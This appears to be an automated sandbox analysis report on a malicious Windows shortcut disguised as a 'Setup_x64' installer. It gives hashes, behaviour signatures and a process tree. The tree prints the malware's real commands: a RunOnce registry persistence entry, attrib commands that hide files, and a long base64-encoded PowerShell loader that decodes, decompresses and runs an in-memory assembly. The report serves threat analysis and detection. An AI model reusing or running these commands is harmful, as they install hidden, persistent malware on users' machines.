Resubmissions
30/03/2024, 14:33
240330-rxab8shb28 801/05/2023, 11:52
230501-n15e1ahb8s 1021/03/2023, 09:18
230321-k9l38she38 1Analysis
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max time kernel
30s -
max time network
34s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
01/05/2023, 11:52
Static task
static1
Behavioral task
behavioral1
Sample
Setup_x64.exe.lnk
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
Setup_x64.exe.lnk
Resource
win10v2004-20230220-en
General
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Target
Setup_x64.exe.lnk
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Size
1KB
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MD5
b1b6eb2189e0f3d7ecfea63baafca452
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SHA1
af279896cf4ec2c487e5599759cee19bdd0d84b6
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SHA256
0bbeb529931ee10f4cde96b33689c45b0406b3b33a55d4a0341fac2e67749b55
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SHA512
b1dbf2144f13d08b7a62a7fc24681f6c8c324b56eb4048da64836ab2d83efed80c80acc9f06e44de02ddcdb31a4eefa9f244447b128d1d73cacf583eb17f66a2
Malware Config
Signatures
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 336 attrib.exe -
Executes dropped EXE 1 IoCs
pid Process 888 particovl.bat.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\particovl = "C:\\Users\\Admin\\AppData\\Roaming\\particovl.bat" reg.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 888 particovl.bat.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 888 particovl.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 888 particovl.bat.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 2044 wrote to memory of 1176 2044 cmd.exe 29 PID 2044 wrote to memory of 1176 2044 cmd.exe 29 PID 2044 wrote to memory of 1176 2044 cmd.exe 29 PID 1176 wrote to memory of 832 1176 cmd.exe 30 PID 1176 wrote to memory of 832 1176 cmd.exe 30 PID 1176 wrote to memory of 832 1176 cmd.exe 30 PID 832 wrote to memory of 396 832 cmd.exe 31 PID 832 wrote to memory of 396 832 cmd.exe 31 PID 832 wrote to memory of 396 832 cmd.exe 31 PID 396 wrote to memory of 324 396 cmd.exe 32 PID 396 wrote to memory of 324 396 cmd.exe 32 PID 396 wrote to memory of 324 396 cmd.exe 32 PID 396 wrote to memory of 336 396 cmd.exe 33 PID 396 wrote to memory of 336 396 cmd.exe 33 PID 396 wrote to memory of 336 396 cmd.exe 33 PID 396 wrote to memory of 888 396 cmd.exe 34 PID 396 wrote to memory of 888 396 cmd.exe 34 PID 396 wrote to memory of 888 396 cmd.exe 34 PID 396 wrote to memory of 888 396 cmd.exe 34 PID 396 wrote to memory of 556 396 cmd.exe 35 PID 396 wrote to memory of 556 396 cmd.exe 35 PID 396 wrote to memory of 556 396 cmd.exe 35 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 336 attrib.exe 556 attrib.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Setup_x64.exe.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /T:84 /C start "Starting Installation..." /B "%CD%\README.md\entry.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\README.md\entry.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"5⤵
- Adds Run key to start application
PID:324
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exe5⤵
- Sets file to hidden
- Views/modifies file attributes
PID:336
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C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exeC:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA5⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:888
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C:\Windows\system32\attrib.exeattrib -s -h C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exe5⤵
- Views/modifies file attributes
PID:556
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
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Filesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f